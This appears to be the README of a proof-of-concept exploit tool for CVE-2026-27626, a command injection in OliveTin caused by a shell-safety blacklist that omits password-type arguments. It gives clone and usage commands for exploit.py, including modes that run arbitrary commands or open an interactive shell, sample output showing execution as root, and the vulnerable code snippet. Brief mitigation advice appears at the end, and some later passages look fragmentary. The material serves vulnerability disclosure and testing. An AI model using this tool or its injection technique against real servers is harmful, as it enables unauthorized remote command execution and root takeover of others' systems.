一个针对 CVE-2026-27626 的小型概念验证,该漏洞是 OliveTin 中的操作系统命令注入。
OliveTin 的 Shell 模式安全检查会在值到达 sh -c 之前拦截多种危险参数类型,
但它遗漏了 password。因此,password 类型的参数会接受 shell 元字符,
并逃逸出动作模板的引号限制。任何能够访问该 API 的人都能以
OliveTin 进程的身份执行命令,而当 OliveTin 被(错误)配置为以 root 运行时,
则可获得 root 权限。
警告: 仅限授权的安全测试使用。请仅针对您拥有或已获得明确 测试许可的系统使用此工具。
| 项目 | 详情 |
|---|---|
| 受影响 | OliveTin <= 3000.10.0 |
| 已修复 | 提交 4bbd2ea |
| CVSS v3.1 | 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, CWE-78) |
| 安全公告 | GHSA-49gm-hh7w-wfvf |
Python 3.7+。仅使用标准库,无依赖。
git clone https://github.com/Shisones/CVE-2026-27626.git
cd CVE-2026-27626
chmod +x exploit.py
./exploit.py --check # is it vulnerable? (exploits nothing)
./exploit.py --cmd 'id' # run one command
./exploit.py --cmd 'id' -u http://10.0.0.5:1337
./exploit.py --shell # interactive shell
动作和参数会被自动发现。如果发现过程受到限制,请将其指向特定的注入点:
./exploit.py -a backup_database -n db_pass --cmd 'id'
-u, --url URL OliveTin base URL (default: http://127.0.0.1:1337)
-a, --action BINDING Force the action bindingId
-n, --arg NAME Force the password argument name
-v, --verbose Show request details
-h, --help Show this help
Modes (mutually exclusive):
--check Passive check only (never triggers an action)
--cmd CMD Run one command and print its output
--shell Interactive command shell
$ ./exploit.py --check
[*] Target: http://127.0.0.1:1337
[*] Mode: passive check (no action will be triggered)
[*] Server version: 3000.10.0
[!] Version 3000.10.0 is in the affected range
[+] Injection point: action 'backup_database', argument 'db_pass'
[+] Target appears VULNERABLE to CVE-2026-27626
[*] Exploit with --cmd '<command>' or --shell
$ ./exploit.py --cmd 'id'
[*] Target: http://127.0.0.1:1337
[*] Injection point: action 'backup_database', argument 'db_pass'
[*] Testing 6 break-out pattern(s)...
[+] Command injection confirmed as root: uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
GetDashboard,找到一个暴露 password 类型参数(canExec 已启用)的 action。id 是否执行。action 模板的引号处理未通过 API 暴露,因此会尝试几种常见模式(-v 会显示每一种)。存在漏洞的代码是 service/internal/executor/arguments.go 中的 checkShellArgumentSafety(),其黑名单遗漏了 password,而值会被插值到 sh -c 字符串中:
unsafe := map[string]bool{
"url": true, "email": true,
"raw_string_multiline": true, "very_dangerous_raw_string": true,
// "password" is absent <-- the bug
}
4bbd2eab1532 之后的版本。exec 动作,或避免在 sh -c 模板中使用用户可控的值。authRequireGuestsToLogin: true,并将 API 限制在可信网络中。本工具仅供授权的安全测试、研究和教育使用。您有责任遵守所有适用的法律。作者对因滥用本工具或本工具造成的损害不承担任何责任。